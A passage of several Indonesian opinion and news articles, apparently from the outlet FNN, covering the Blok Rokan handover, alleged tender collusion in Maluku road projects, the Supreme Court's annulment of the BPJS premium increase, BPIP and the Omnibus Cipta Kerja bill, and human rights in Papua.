Blok Mahakam dikelola BUMN. Saat itu barisan rakyat justru berhadapan dengan Kementerian ESDM dan/atau BP/SKK Migas yang memihak asing. Untuk Blok Rokan, memang keputusan pengelolaan oleh Pertamina telah ditetapkan pada Juli 2018. Meskipun untuk hak yang dijamin konstitusi tersebut, Pertamina harus membayar sekitar Rp 11 triliun. Namun, untuk proses alih kelola yang smooth tampak SKK belum bekerja optimal dan terkesan “lebih dekat” dengan CPI. Semoga saja kesan IRESS di atas salah. Walau indikasi kedekatan tersebut cukup terasa. Sekarang, terserah Presiden Jokowi. Apakah akan bersikap konsisten dengan kebijakan dan program untuk menekan defisit melalui peningkatan lifting migas, terutama menahan laju penurunan lifting Blok Rokan. Bisa juga sabliknya, membiarkan SKK Migas dan CPI mengulur-ulur waktu, entah untuk kepentingan apa? Namun rakyat tidak butuh retorika. Apalagi sandiwara yang melecehkan akal sehat dan dapat dicurigai bernuansa moral hazard. Penulis adalah Managing Director IRESS

Terendus, Aroma Skandal Dua Proyek Kementerian PUPR di Maluku

Oleh Mochamad Toha Jakarta, FNN - Center for Budget Analysis (CBA) menemukan dugaan tindak pidana korupsi dalam Mega Proyek Satuan Kerja Pelaksanaan Jalan Nasional Wilayah III Provinsi Maluku (Satker PJN III Prov Maluku) Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR). “Proyek yang kami maksud adalah Preservasi Jalan yang berlokasi di Pulau Larat dan Pulau Selaru,” ungkap Koordinator Investigasi CBA Jajang Nurjaman. Dalam proses lelang ditemukan dugaan kongkalikong antara pihak Kemen PUPR yakni Pokja 03 BP2JK Maluku sebagai panitia lelang dan Satker PJN III Prov Maluku selaku Pengguna Anggaran atau Kuasa Pengguna Anggaran (PA/KPA) dengan pihak swasta. Pertama, proses lelang proyek preservasi jalan ini berlarut-larut, sampai dua kali lelang. Pada 25 November 2019 pihak Kementerian PUPR sebenarnya sudah menjalankan tender dan terdapat 2 perusahaan yang memasukan penawaran. Yakni, PT Dian Mosesa Perkasa dengan penawaran Rp 22.480.391.280 dan PT Mitra Pesona Samudra dengan penawaran Rp 23.139.560.049. Tapi lelang ini dibatalkan oleh pihak Kemen PUPR dengan alasan tidak ada yang memenuhi persyaratan evaluasi administrasi, kualifikasi, teknis dan harga. Selanjutnya Kemen PUPR melakukan lelang yang kedua kalinya atau lelang ulang, dan pada 19 Desember 2019 ada tiga peserta yang memasukan penawaran. Pemenang lelang adalah PT Samaprima Jaya (PT SPJ) dengan nilai kontrak yang disepakati: Rp 21.048.981.195,25. Ada kejanggalan dengan dimenangkannya PT. SPJ, hal ini terlihat saat pihak Pokja pemilihan menyampaikan Berita Acara Hasil Pemilihan (BAHP) kepada pejabat Pembuat Komitmen (PPK). “Pihak PPK menolak BAHP dengan alasan alat utama untuk pengerjaan proyek, yakni Self Propolled Rotary Mixer dengan merk/type SEKO, tidak jelas keberadaanya,” ungkap Jajang Nurjaman. Ternyata PT. SPJ saat lelang hanya mengandalkan bukti invoice nomor ABT/014/TH/19, yang mengklaim telah melakukan Pembelian alat Self Propolled Rotary Mixer dari Jepang pada Maret 2019 melalui PT. ABT, dan dalam waktu 3 minggu akan tiba di Jakarta. “Namun setelah dikroscek lagi pada PT. ABT, alat tersebut belum juga ada, dan pihak ABT memberikan keterangan alat tersebut akan tiba di Jakarta dua bulan lagi,” lanjutnya. Meskipun pihak PT. SPJ diduga kuat melakukan pemalsuan invoice, pihak Pokja dan Satker PJN III Prov Maluku selaku Kuasa Anggaran tetap ngotot memenangkan PT. SPJ. Hal ini sangat aneh, padahal sebelumnya lelang proyek ini sempat dibatalkan dengan alasan masalah persyaratan yang tidak terpenuhi. Namun, dalam lelang ulang pihak Kemen PUPR dengan mudahnya meloloskan perusahaan yang tidak memenuhi syarat dan bahkan menjadi pemenang. Berdasarkan catatan di atas, lanjut Jajang Nurjaman, CBA menduga proses lelang proyek Preservasi Jalan yang berlokasi di Pulau Larat dan Pulau Selaru hanya formalitas belaka. Diduga Pokja pemilihan dan PA/KPA sudah menentukan pemenang dari awal. Karena itu, “CBA mendorong KPK untuk segera membuka penyelidikan atas proyek di atas. Panggil Menteri Basuki Hadimuljono, serta panitia lelang mulai dari Pokja, PPK, PA/KPA terkait proyek ini untuk dimintai keterangan,” tegasnya. Menteri PUPR Basuki Hadimuljono, seperti kata Jajang Nurjaman, semestinya memang perlu dimintai keterangan oleh KPK. Karena, proyek pembangunan jalan di Pulau Selaru dan Pulau Selarat itu memang di bawah kewenangan Kemen PUPR. Jejak digital news menunjukkan hal itu. Seperti dilansir AntaraNews.com, Jum’at (11 Januari 2019 00:08 WIB), Menteri Basuki tetap akan terus melanjutkan pembangunan jalan di Pulau Selaru dan Larat, Kabupaten Maluku Tenggara. “Sekarang ini jalan dari Selaru ke Larat ini baru 158 km, nanti juga kami akan melihat yang di Larat, nanti akan kita teruskan,” ujar Menteri PUPR di Yamdena, Maluku pada Kamis (10/1/2019). Menurut Menteri Basuki, pembangunan jalan di Selaru yang baru sampai desa Kandar juga akan dilanjutkan. “Tahun 2019 baru yang perbaikan ini, kemudian nanti pada 2020-2021 akan kita teruskan, itu pasti akan kita teruskan,” katanya. Selain pembangunan jalan, Menteri Basuki juga menyinggung tentang rencana Kementerian PUPR untuk mengganti jembatan Wai Ela dan pembangunan jembatan-jembatan lainnya di Maluku. “Kami di Wai Ela sudah ada dua bentang jembatan yang kami kirim 2x60 m untuk mengganti jembatan Wai Ela, kemudian mungkin jembatan-jembatan lainnya,” kata Menteri PUPR usai bersama Menkeu Sri Mulyani meresmikan Jembatan Leta Oar Ralan yang menghubungkan Pulau Yamdena dan Pulau Larat, Kabupaten Maluku Tenggara Barat (MTB). Jembatan Leta Oar Ralan memiliki panjang 322,80 m, lebar 10 m. Jenis konstruksi pondasi menggunakan tiang pancang baja 600 mm, sementara bangunan atas memakai konstruksi beton pracetak prategang. Sebelumnya Menteri Basuki juga menyatakan bahwa fokus Kemen PUPR pada 2019 adalah menyelesaikan pembangunan infrastruktur jalan di pulau-pulau terluar. “Semua pulau-pulau terluar membutuhkan jalan lingkar, itu akan kita fokuskan lebih ke sana,” kata Menteri Basuki di Ambon, Maluku pada Rabu (9/1/2019). Dia lebih lanjut menjelaskan bahwa pihaknya akan menyelesaikan pembangunan jalan-jalan di perbatasan, trans atau lintas wilayah, dan jalan lingkar di pulau-pulau tersebut seperti di Sangihe, Talaud, Yamdena, Morotai, Nias dan Natuna. Adakah keterkaitan dugaan tindak pidana korupsi dalam Mega Proyek Satker PJN III Prov Maluku) Kemen PUPR seperti yang disampaikan CBA di atas? Yakni: Proyek Preservasi Jalan! *** Penulis wartawan senior.

Iuran BPJS Batal Naik, Pemerintah Tarik Suntikan Dana?

Oleh Mochamad Toha Jakarta, FNN - Mungkinkah Menkeu Sri Mulyani tetap ancam tarik suntikan dana Rp 13,5 triliun dari BPJS, setelah Mahkamah Agung (MA) memenangkan gugatan Judicial Review (JR) atas kenaikan iuran BPJS melalui Presiden lewat Perpres Nomor 75 Tahun 2019? Jika Sri Mulyani tetap ngotot dan benar-benar menarik dana Rp 13,5 triliun dari BPJS, jelas ini suatu “pembangkangan” hukum karena tidak menghormati putusan MA tersebut. Presiden Joko Widodo bisa langsung memecatnya sebagai Menteri Keuangan. Seperti dilansir Kompas.com, Selasa (18/02/2020, 15:19 WIB), dalam Rapat Gabungan yang meminta agar iuran untuk peserta bukan penerima upah (PBPU) atau peserta mandiri BPJS Kesehatan batal dinaikkan, Menkeu menanggapi permintaan anggota DPR. Menkeu mengatakan, pihaknya bisa saja menarik kembali dana Rp 13,5 triliun yang sudah disuntikkan ke BPJS Kesehatan untuk membayarkan iuran peserta Penerima Bantuan Iuran (PBI) pemerintah pusat dan daerah yang naik dari Rp 23.500 menjadi Rp 42.000. Selain itu, Menkeu juga menyesuaikan iuran Peserta Penerima Upah (PPU) pemerintah, yaitu TNI, POLRI dan ASN yang ditanggung oleh pemerintah di mana tarifnya menjadi 5 persen dari take home pay sebesar Rp 8 juta menjadi Rp 12 juta. Pasalnya, BPJS Kesehatan berada dalam kondisi keuangan defisit mencapai Rp 32 triliun pada 2019. “Jika meminta Perpres dibatalkan maka Menkeu yang sudah transfer Rp 13,5 triliun 2019 saya tarik kembali,” ujar Sri Mulyani ketika memberikan penjelasan kepada anggota DPR di Jakarta, Selasa (18/2/2020). Sri Mulyani mengatakan, dalam memberikan jaminan sosial kepada masysarakat, pemerintah juga perlu memerhatikan kondisi keuangan negara. Ditambah lagi, pemberian jaminan sosial terutama dalam hal kesehatan perlu dilakukan secara berkelanjutan. Namun demikian, BPJS Kesehatan sebagai lembaga yang memberikan pelayanan tersebut justru mencatatkan defisit sejak 2014. “Sejak program jaminan sosial dilaksanakan 2014 BPJS terus mengalami defisit dengan tren semakin besar tiap tahun. Itu semua harus diakui karena fakta. Tahun 2014 defisit Rp 9 triliun, kemudian disuntik Rp 5 triliun. Tahun 2016 turun Rp 6 triliun dan disuntik Rp 6 triliun,” ujar dia. Jumlah defisit tersebut kembali meningkat pada 2017 yang sebesar Rp 13 triliun dan pada 2018 sebesar Rp 19 triliun. Menurut Sri Mulyani, dengan kondisi saat ini BPJS Kesehatan belum mampu memenuhi kewajibannya untuk melakukan pembayaran kepada mitra kerjanya yaitu rumah sakit. Padahal banyak pula rumah sakit yang sedang dalam kondisi sulit. “Sistem BPJS kita tidak mampu memenuhi kewajibannya dari sisi kewajiban pembayaran. Padahal disebutkan BPJS maksimal 15 hari membayar. Namun banyak kewajiban BPJS Kesehatan yang bahkan sampai lebih dari 1 tahun tidak dibayarkan,” ujar Sri Mulyani. “Banyak rumah sakit mengalami situasi sangat sulit,” jelas dia. Tampaknya, desakan politis anggota DPR tersebut tidak mempan. Pemerintah tetap saja melanjutkan keputusan kenaikan iuran BPJS Kesehatan tersebut. Berdasarkan Perpres Nomor 75 Tahun 2019, iuran Kelas III dinaikkan menjadi Rp 42,000 per bulan dari Rp 25,500. Kelas II dinaikkan menjadi Rp 110,000 dari Rp 51,000. Dan, Kelas I dinaikkan menjadi Rp 160,000 dari semula Rp 80,000. Bagi banyak peserta, kenaikan iuran ini sangat membebani mereka. Tetapi, pemerintah tidak mendengarkan keluhan rakyat. Pemerintah membuat dan memberlakukan kebijakan secara otoriter. Kenaikan tersebut dinilai tidak wajar. Namun, pada Senin (9/3/2020), MA membatalkan kenaikan iuran yang harus mereka bayar sejak 1 Januari 2020. MA mengabulkan gugatan Komunitas Pasien Cuci Darah Indonesia (KPCDI) yang dilayangkan awal Desember 2019. Komunitas mengatakan kenaikan iuran BPJS Kesehatan sangat tidak masuk akal. Melalui Advokat Muhammad Sholeh, SH, Kusnan Hadi, seorang pedagang kopi, mengajukan JR ke MA terkait Perpres Nomor 75 Tahun 2019 tersebut. Menurut Sholeh, kenaikan iuran ini dianggap memberatkan. Pasalnya, besaran kenaikan iuran BPJS Kesehatan mencapai dua kali lipat dari tarif sebelumnya. “Kami menggugat Perpres 75/2019 tentang kenaikan iuran BPJS Kesehatan karena situasi ekonomi saat ini masih sulit. Tidak pas kalau kenaikan sampai 100 persen," ujar Sholeh melalui pesan singkat yang dilansir dari CNNIndonesia.com, Sabtu (2/11/2019). Sholeh mengatakan, kenaikan iuran BPJS ini memberatkan warga khususnya yang tinggal di daerah. Sebab, terdapat perbedaan penghasilan orang yang tinggal di Jakarta dengan sejumlah daerah di Indonesia lainnya. Padahal kenaikan iuran ini berlaku secara nasional. “UMK di Jakarta sebutlah Rp 4 juta, sementara di daerah ada yang cuma Rp 2 juta. Maka menyamakan kenaikan ini memberatkan warga yang ada di daerah,” katanya. Kenaikan iuran ini, lanjut Sholeh, juga tidak diiringi dengan pelayanan maksimal dari rumah sakit. Selama ini pasien yang berobat dengan BPJS Kesehatan kerap ditolak karena sejumlah persyaratan administrasi. Sementara pihak BPJS Kesehatan sendiri juga tak pernah mengambil sikap atas permasalahan tersebut. “Selama ini BPJS tidak pernah mendampingi pasien di rumah sakit. Banyak orang sakit yang ditolak karena tidak bawa rujukan berjenjang dan BPJS diam saja,” ucap Sholeh. Menurut Sholeh, pemerintah sebaiknya membubarkan BPJS Kesehatan jika memang tak bisa dikelola dengan baik. Apalagi, selama ini BPJS Kesehatan cenderung merugi hingga triliunan rupiah. Sholeh berharap MA membatalkan Perpres tersebut dan mengembalikan pada Perpres Nomor 82 Tahun 2018. “Ketika rugi dibebankan ke peserta BPJS. Lebih baik bubarkan saja dan kembali ke sistem lama di mana pemerintah hanya menanggung orang miskin ketika sakit, bukan seperti BPJS yang mensubsidi orang kaya yang sakit,” tuturnya. Apa yang diharapkan Sholeh, ternyata dikabulkan MA. MA mengabulkan JR Perpres Nomor 75 Tahun 2019 tentang Jaminan Kesehatan tersebut. Dalam putusannya, MA membatalkan kenaikan iuran BPJS per 1 Januari 2020. “Menyatakan Pasal 34 ayat 1 dan 2 Perpres Nomor 75 Tahun 2019 tentang perubahan atas Perpres Nomor 82 Tahun 2018 tentang Jaminan Kesehatan tidak mempunyai kekuatan hukum mengikat,” kata juru bicara MA, hakim agung Andi Samsan Nganro saat berbincang dengan Detik.com, Senin (9/3/2020). Majelis hakim diketuai Supandi, anggota Yosran dan Yodi Martono Wahyunadi. Menurut MA, Pasal 34 ayat 1 dan 2 bertentangan dengan Pasal 23 A, Pasal 28H dan Pasal 34 UUD 1945. Selain itu juga bertentangan dengan Pasal 2, Pasal 4, Pasal 17 ayat 3 UU Nomor 40 tahun 2004 tentang Sistem Jaminan Sosial Nasional. “Bertentangan dengan Pasal 2, Pasal 3, Pasal 4 tentang Badan Penyelenggaran Jaminan Sosial. Bertentangan dengan Pasal 5 ayat 2 jo Pasal 171 UU Kesehatan,” tegas majelis. Pasal yang dinyatakan batal dan tidak berlaku berbunyi: Pasal 34 (1) Iuran bagi Peserta PBPU dan Peserta BP yaitu sebesar: a. Rp 42.OOO,00 (empat puluh dua ribu rupiah) per orang per bulan dengan Manfaat pelayanan di ruang perawatan Kelas III. b. Rp 110.000,00 (seratus sepuluh ribu rupiah) per orang per bulan dengan manfaat pelayanan di ruang perawatan Kelas II; atau c. Rp 160.000,00 (seratus enam puluh ribu rupiah) per orang per bulan dengan Manfaat pelayanan di ruang perawatan Kelas I. (2) Besaran Iuran sebagaimana dimaksud pada ayat (1) mulai berlaku pada tanggal 1 Januari 2O2O. Dengan dibatalkannya pasal di atas, maka iuran BPJS kembali ke iuran semula, yaitu: a. Sebesar Rp 25.500 untuk kelas 3 b. Sebesar Rp 51 ribu untuk kelas 2 c. Sebesar Rp 80 ribu untuk kelas 1 Sebelumnya, Presiden Jokowi telah menandatangani Perpres 75 Tahun 2019 yang memuat ketentuan iuran baru BPJS Kesehatan. Beleid itu mengatur iuran untuk kelas III naik dari Rp 25.500 menjadi Rp 42 ribu per bulan per peserta. Sementara, untuk kelas II naik dari Rp 51 ribu menjadi Rp 110 ribu, dan kelas I naik dari Rp 80 ribu menjadi Rp 160 ribu. Secara persentase, kenaikan rata-rata mencapai 100 persen. Kebijakan ini menuai protes dari berbagai kalangan, masyarakat, pengamat, hingga serikat pekerja. Semoga putusan MA ini melegakan mereka! *** Penulis wartawan senior.

RUU Omnibus Cipta Kerja VS Pancasila, “Dimana BPIP Ngumpet?”

By Margarito Kamis Jakarta FNN - Badan Pembinaan Idiologi Pancasila (BPIP), entah apa penyebabnya, sejauh ini tidak mendatangi rakyat Indonesia dengan pikiran-pikiran mereka tentang artikulasi Pancasila dalam RUU Omnibus Cipta Kerja. Padahal dalam kenyataannya, RUU multispektrum ini, telah menarik begitu banyak pikiran kritis. Langgamnya jelas, kelak bila diterima jadi UU, diyakini bakal menyengsarakan. Bukan bakal menyenangkan rakyat. Menariknya, BPIP telah begitu bergairah memasuki panggung bernegara dengan serangkaian gagasan. Setidaknya pikiran-pikiran kritisnya. Itu terlihat di pekan-pekan sebelumnya. Jadilah pekan-pekan itu sebagai pekan yang gaduh. Gaduh karena pikiran-pikiran yang terlontar, terlihat tidak terkerangkakan secara konseptual. Tetapi apapun itu, soalnya sekarang adalah mengapa BPIP diam dalam isu RUU Cipta Kerja ini? Apa karena kegaduhan yang melilit BPIP beberapa waktu lalu itu menjadi penyebab terbesarnya? Apakah BPIP memandang Pancasila hanya relefan dibicarakan, sejauh menyangkut tindak-tanduk sebagian atau seluruh ummat Islam? Apa Pancasila hanya dibicarakan dalam konteks radikalisme, intoleransi dan sejenisnya yang diasosiasikan secara signifikan pada Ummat Islam? Apa Pancasila hanya relefan dibicarakan untuk memastikan integrasi sosial ditengah pluralisme? Bila hanya itu relefansinya, apakah BPIP hendak mereduksi level Pancasila sebagai dasar negara, pandangan hidup, filsafat berbangsa dan bernegara? Sebagai dasar negara, sebagai filsafat bernegara dan sebagai pandangan hidup berbangsa dan bernegara, Pancasila tidak bisa direduksi sekadar sebagai timbangan terhadap tindak-tanduk sosial dan kultural individu atau kelompok. Tidak bisa. BPIP, layak dibayangkan, harus memasuki isu hukum. Beralasan BPIP menakar setiap RUU. Bukan hanya RUU ini, tetapi juga UU lain dengan Pancasila. Dalam konteks itu, BPIP perlu berurusan dengan teknis penalaran hukum atas teks dalam pasal, ayat dan huruf RUU atau UU. BPIP perlu menakar level nilainya, level meta yuridisnya dan konsekuensi-konsekuensi implisitnya. Khusus meta yuridis, harus dikatakan dimanapun, selalu bertalian dengan nilai-nilai fundamental. Bukan pasal demi pasal atau UU itu saja, melainkan juga pandangan hidup sebuah bangsa di balik pasal-pasal tersebut. Pancasila dengan kelima silanya itu harus. Dengan demikian, diterima tanpa reserve sebagai genus nilai dalam pembentukan hukum. Pada konteks itu, BPIP layak mendemonstrasikan pikiran-pikiran brilian megenai derajat nilai kemanusiaan dalam pasal demi pasal RUU ini. BPIP mesti dapat memastikan bahwa kemanusiaan yang dikonsepkan RUU ini senafas dengan nilai kemanusiaan yang terkonsep dalam Pancasila, yaitu kemanusiaan yang adil dan beradab. Bukan kemanusiaan yang tidak adil dan tidak beradab. Menciptakan lapangan kerja, yang secara konstitusional tertakdir sebagai kewajiban pemerintah. Sepintas terlihat hebat. Tetapi tidak cukup hanya sampai disitu. Mengapa? Pancasila mengharuskan lapangan kerja yang tercipta itu menjadi sarana idiologis untuk “mengadabkan” manusia Indonesia. Poin idiologisnya adalah lapangan kerja yang diciptakan itu harus membuat pekerja mampu menghasilkan kehidupan yang adil, beradab dan bermartabat. Rasanya agar konsep kemanusiaan yang adil dan beradab itu teralisasikan, bukan didengungkan begitu saja oleh BPIP. Untuk itu, BPIP harus memiliki kriteria idiologis tentang, misalnya konsep kerja yang menurut satuan waktu. Konsep kerja satuan waktu ini terlihat dari rumusan waktu kerja, seminggu sekian jam atau sehari sekian jam. Konsep itu melahirkan konsekuensi kerja “jam-jaman.” Hebat bila BPIP dapat memproyeksikan konsekuensi legal dan teknisnya. Konsekuensi teknis legal yang saat ini dapat dibayangkan adalah korporasi dapat secara bebas dan leluasa menggunakan pasal “bekerja berdasarkan jam-jaman.” Ini masalahnya. Apakah konsep ini senafas dengan kriteria idiologis Pancasila? Apakah BPIP memiliki criteria itu? Yang saya maksudkan dengan kriteria idiologis adalah konsep itu harus menghasilkan kepastian bagi setiap pekerja merencanakan kehidupannya. Dengan merencanakan kehidupan masa depannya, maka mereka dapat hidup dengan level martabat dan adab yang diimpikan Pancasila. Masalahnya, apakah BPIP memiliki kriteria dan penalaran yang khas tentang itu? BPIP, mesti mempertimbangkan apakah logis “bekerja jam-jaman”? Tetapi kepada pekerja tidak diberikan, misalnya hak pensiun atau pesangon? Andai dianggap logis. Tidak diberi hak pensiun atau pesangon, karena sifat kerjanya adalah yang jam-jaman. Bukan bekerja secara permanen, maka soal idiologis segera muncul. Apa itu soalnya? Soalnya adalah beradabkah membangun sistem kerja yang tidak berkepastian bagi pekerja? Beradabkah menciptakan lapangan kerja bagi setiap orang yang memasukinya, tetapi tidak memilki dasar untuk membayangkan, apalagi merencanakan kehidupan masa depannya? Konseptualisasi kerja jam-jaman, harus diakui, telah menjadi hal biasa dalam tatanan kerja universal. Terlihat jelas pola itu disajikan sebagai salah satu cara paling tepat dan unggul. Yang memungkinkan sebagian negara, terutama liberal ke level ekonomi hebat. Liberalisasi tenaga kerja asing terlihat biasa saja dalam konteks ini. Korporasi, asing maupun dalam negeri, akan menerima sistem ini sebagai sistem yang hebat. Mereka terbebas dari berbagai kewajiban yang selama ini teridentifikasi memberatkan. Masalahnya, pasal 27 dan pasal 33 UUD 1945 menggariskan prinsip khusus yang harus dituruti oleh pemerintah. Pasal 27 mengharuskan pemerintah menomorsatukan Warga Negara Indonesia. Menyediakan mereka pekerjaan yang layak bagi perikemananusiaan dan perikeadilan. Perikemanusiaan dan perikeadilan yang dibayangkan sebagai cara menghasilkan kehidupan yang beradab dan bermartabat. BPIP harus dapat memastikan bahwa pemerintah merealisasikannya. Tidak itu saja. BPIP harus pada setiap saat memastikan pemerintah membangun sistem ekonomi yang selaras dengan konsep kekeluargaan, ya "gotong royong". Tidak yang lain. Pasal 33 UUD 1945 sangat jelas dalam soal itu. Pasal ini juga jelas membebani pemerintah dengan kewajiban menciptakan sistem ekonomi yang tidak merusak lingkungan sekitar, termasuk tidak merusak masyarakatnya. Lebih jauh menurut pasal 33 UUD 1945, juga mengharuskan pemerintah menciptakan sistem ekonomi yang efisien. Tetapi efisiensi yang digariskan pasal 33 UUD 1945 adalah efisiensi yang tidak “memberangus” nilai keadilan. Efisiensi tipikal ini tidak memiliki makna lain selain “efisiensi” yang menghidupkan perikemanusiaan. Praktis ini eifisiensi berkarakter idiologi Pancasila. Efisiensi jenis itu jelas bukan efisiensi liberal. Bukan juga efisiensi klasik maupun modern, yang bertumpu pada kebebasan berkontrak. Konsep kekebasan berkontrak, khas liberal, klasik maupun modern bertumpu pada otonomi individu. Dalam konsep ini, otonomi individu tertakdir menjadi genusnya dan kekebasan berkontrak menjadi sui generisnya sendiri, dan hanya itu dalam karakter ikutannya. Ini bukan pola hubungan hukum hubungan kerja khas yang dikehendaki oleh pasal 33 UUD 1945. Bila BPIP memiliki kehendak memasuki isu hukum, maka menarik menantikan bagaimana BPIP menjelaskan dengan langgam kongklusif nama RUU ini. Namanya RUU Cipta Kerja, tetapi isinya mencakup berbagai isu. Itukah yang menjadi soal? Tidak. Yang menjadi soal adalah bagaimana BPIP menjelaskan genus RUU ini, dan sui generisnya. Sesuai namanya, maka cipta kerja harus dianggap dan diterima sebagai genus RUU ini. Tetapi mengapa terdapat pengaturan mengenai investasi, izin dan lain sebagainya ikut menjadi materi muatan yang bersifat integral dalam RUU ini? Apakah pemerintah menggunakan penalaran berdasarkan genus proximum et diferentiam spesificam? Terus terang nalar ini cukup sulit diterapkan dalam RUU ini. Mengapa? Izin lingkungan, Amdal, dan sertifikasi halal misalnya, jelas bukan satu bentuk terdekat sui negeris. Bukan pula “diferentiam spesificam” pada konsep cipta kerja. Sungguh terlihat banyak kekaburan penalaran menyertai RUU ini. Soal ini logis dibayangkan sebagai masalah dasar RUU ini. Mengapa? RUU ini, kelak setelah menjadi UU tidak bakal menghasilkan kepastian hukum. Padahal kepastian hukum menjadi jantung dari hukum. Watak objektif dari hukum terletak ada kepastian hukum. Sekali watak ini hilang, maka yang muncul adalah tindakan sewenang-wenang. BPIP pada titik itu, logis untuk memasuki isu ini. Tentu saja dengan menggunakan atau menyodorkan pertimbangan dan penalaran idiologis yang berbasis Pancasila. Pancasila yang tidak mungkin memberi toleransi pada kesewenang-wenangan. Pasti itu tidak mungkin. Tetapi kesewenang-wenangan itu sangat mungkin bisa terjadi, karena kekaburan konsep dasar dari RUU ini. BPIP mau tidak mau harus menemukan cara. BPIP harus keluar untuk menyelaraskan RUU ini, khususnya materi muatan dalam pasal, ayat dan huruf, dengan nilai-nilai kebesaran Pancasila. BPIP tidak boleh hanya jago dalam berwacana sekitar radikalisme dan intoleransi. BPIP harus mengerti lebih dari siapapun di Indonesia bahwa UU merupakan cara sebuah bangsa menciptakan tatanan berbangsa dan bernegara. Di dalamnya ada hak dan kewajiban yang menemukan bentuknya yang kongkrit. Akhirnya mari menantikan pikiran-pikiran BPIP tentang Pancasila yang terkait dengan RUU ini. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

DPR Provinsi Papua Bentuk Pansus Kemanusiaan, “Terobosan Penting”

By Marthen Goo Jakarta, FNN - Sudah menjadi rahasia umum, bahwa pelanggaran terhadap hak-hak kemanusiaan di Papua terjadi sejak pertama kali Trikora digelar. Trikora dicanangkan oleh Soekarno di Yogyakarta pada tanggal 19 Desember 1961. Setelah itu, diiukiti dengan pendudukan militer yang melakukan berbagai operasi militer di Papua. Tentu dari berbagai operasi militer yang dilaksankan di Papua, tidak sedikit rakyat Papua menjadi korban. Tidak hanya berhenti sampai pada tahun 1963. Ketika Papua diserahkan ke Indonesia oleh UNTEA. Namun kejahatan hak asasi manusia masih terus berlangsung hingga Pepera 1969. Anehnya lagi, dalam implementasi Pepera, kejahatan terhadap hak asasi manusia masih dilakukan. Bahkan, dalam Pepera 1969 tidak ada proses demokrasi. Kejahatan terhadap kemanusian di Papua masih terus berlangsung dari tahun 1969 hingga 1998. Tahun 1998, di Indonesia dikenal sebagai puncak dari implementasi demokrasi. Pemilihan Presiden di era demokrasi dilaksanakan tahun 1999, dan memilih Gus Dur sebagai Presiden Indonesia. Gus Dur yang memimpin Indonesia, sejak tanggal 20 Oktober 1999 sampai dengan 23 Juli 2001 cukup berhasil membuat tidak terjadi lagi pelanggaran hak asasi manusia di Papua. Walau demikian, rentetan kasus pelanggaran hak asasi manusia belum diselesaikannya. Gus Dur telah meletakan peradaban baru dengan gaya kepemimpinannya yang tidak ada lagi ditemukan pelanggaran hak asasi manusia. Selama kepemimpinan Gus Dur tidak ada pelanggaran HAM. Sayangnya, setelah setelah Gus Dur dilengserkan, palangaran HAM di Papua kembali terjadi. Walau tidak memenuhi kepastian hukum, karena belum dinyatakan bersalah oleh Mahkamah Konstitusi, Papua kemudian dibuat dasar hukum baru. Dasar hokum baru itu dikenal dengan istilah “Desentralisasi Asimetrik”. Dalam regulasinya dikenal dengan Undang-undang Nomor 21 Tahun 2001 Tentang Otonomi Khusus bagi Propinsi Papua. Sejak diberlakukan Otonomi Khusus Papua tersebut, sampai tahun ini, tidak menghilangkan kasus kejahatan kemanusiaan. Banyak kasus kejahatan kemanusiaan terjadi walau Papua dikenal dengan Propinsi yang berstatus Otonomi Khusus. Kasus di Nduga adalah kejahatan kemanusiaan yang serius, jika merujuk pada pasal 8, dan 9 Undang-undang Nomor 26 Tahun 2000 Tentang Pengadilan HAM. Patut diduga pelanggaran HAM yang terjadi di Papua saat ini telah memenuhi pasal 8 dan 9 UU No.26 Tahun 2000. Untuk kasus Nduga, tentu butuh penyelidikan Komnas HAM sebagai lembaga Negara yang memiliki otoritas untuk menyimpulkan kasus tersebut. Selain kasus Nduga, kini rentetan kasus terjadi kembali, seperti di Intan Jaya, dimana ada warga sipil menjadi korban kekerasan. Tidak Boleh Melupakan Sejarah Tidak sedikit tokoh nasional dengan gagah dan percaya dirinya menyampaikan “Bangsa Yang Besar adalah Bangsa Yan tidak Boleh Meninggalkan Sejarahnya”. Begitu kata Soekarto tentang pentingnya mengingat sejarah. Tentu saja pernyataan itu sangat kren dan berkelas. Kemudian pengertian itu dibuat dalam istilah “Jas Merah”. Yang artinya, jangan sekali-kali melupakan sejarah. Dengan berpegang pada pernyataan “jangan pernah melupakan sejarah” tersebut, tentu kejahatan kemanusiaan pun harus dilihat sebagai kejahatan sejarah kelam. Apalagi jika proses hukum tidak pernah dilaksanakan. Kasus pelanggaran HAM di Papua harus dilihat sebagai catatan buruk terhadap negara yang wajib hukumnya untuk diselesaikan. Tentu Indonesia sebagai negara, harus melihat bahwa kasus kejahatan terhadap kemanusiaan adalah masalah serius negara. Setiap pelakunya harus dihukum. Para pelakunya juga harus berkomitmen untuk tidak melakukan perbuatan kejahatan terhadap kemusiaan sejak sekarang dan seterusnya. Tujuannya, untuk membersihkan sejarah kelam bangsa. Karena setiap kasus pelanggaran hak asasi manusia yang terjadi saat ini, akan terus menjadi sejarah buruk dalam berbangsa dan bernegara. Juga akan menciptakan ketidakpercayaan terhadap Negara. Negara harus berani, jujur dan terbuka untuk menyelesaikan berbagai masalah HAM. Tidak hanya di Papua. Tentu saja termasuk untuk kasus Talang Sari, Tanjung Priok, Semanggi, Trisakti. Jika kata-kata Soekarno tentang sejarah bisa diartikan dalam prespektif yang mengakar, maka bisa dibuat istilah “Pemimpin yang bijaksana adalah pemimpin yang berani menyelesaikan kasus pelanggaran HAM. Selain itu, mematikan kasus pelanggaran HAM tidak terjadi lagi di Indonesia”. Apresiasi DPR Propinsi Papua Tentu kita tahu bahwa undang-undang tentang HAM di Indonesia dirumuskan dalam Undang-undang Nomor 39 Tahun 1999 Tentang Hak Asasi Manusia. Dalam undang-undang tersebut, lembaga yang diberi kewenangan merumuskan dan menetapkan kasus pelanggaran HAM adalah Komisi Nasional Hak Asasi Manusia (KOMNAS HAM). Yang disayangkan sikap dari Komnas HAM sekarang adalah “pasif”. Pengertian pasif dalam sifat Komnas HAM adalah menunggu datangnya lapora. Setelah itu barulah dilakukan tindakan lanjut sesuai dengan laporan. Jadi, jika tidak ada laporan ke Komnas HAM, terkadang Komnas HAM kesulitan untuk mencari kasus-kasus HAM yang terjadi di seluruh Indonesia. Karena Komnas HAM lebih pada menunggu laporan, sementara rentetan pelanggaran kasus HAM jalan terus, seperti di Papua, maka, langkah kongkrit harus dipikirkan untuk dilakukan. Terkait dengan Pansus Kemanusiaan oleh DPR Provinsi Papua tersebut, ada dua hal yang bisa tercapai, dan itu membantu Komnas HAM dan Negara adalah; Pertama, membantu Komnas HAM mengumpulkan fakta tentang berbagai kasus HAM di Papua. Setelah itu 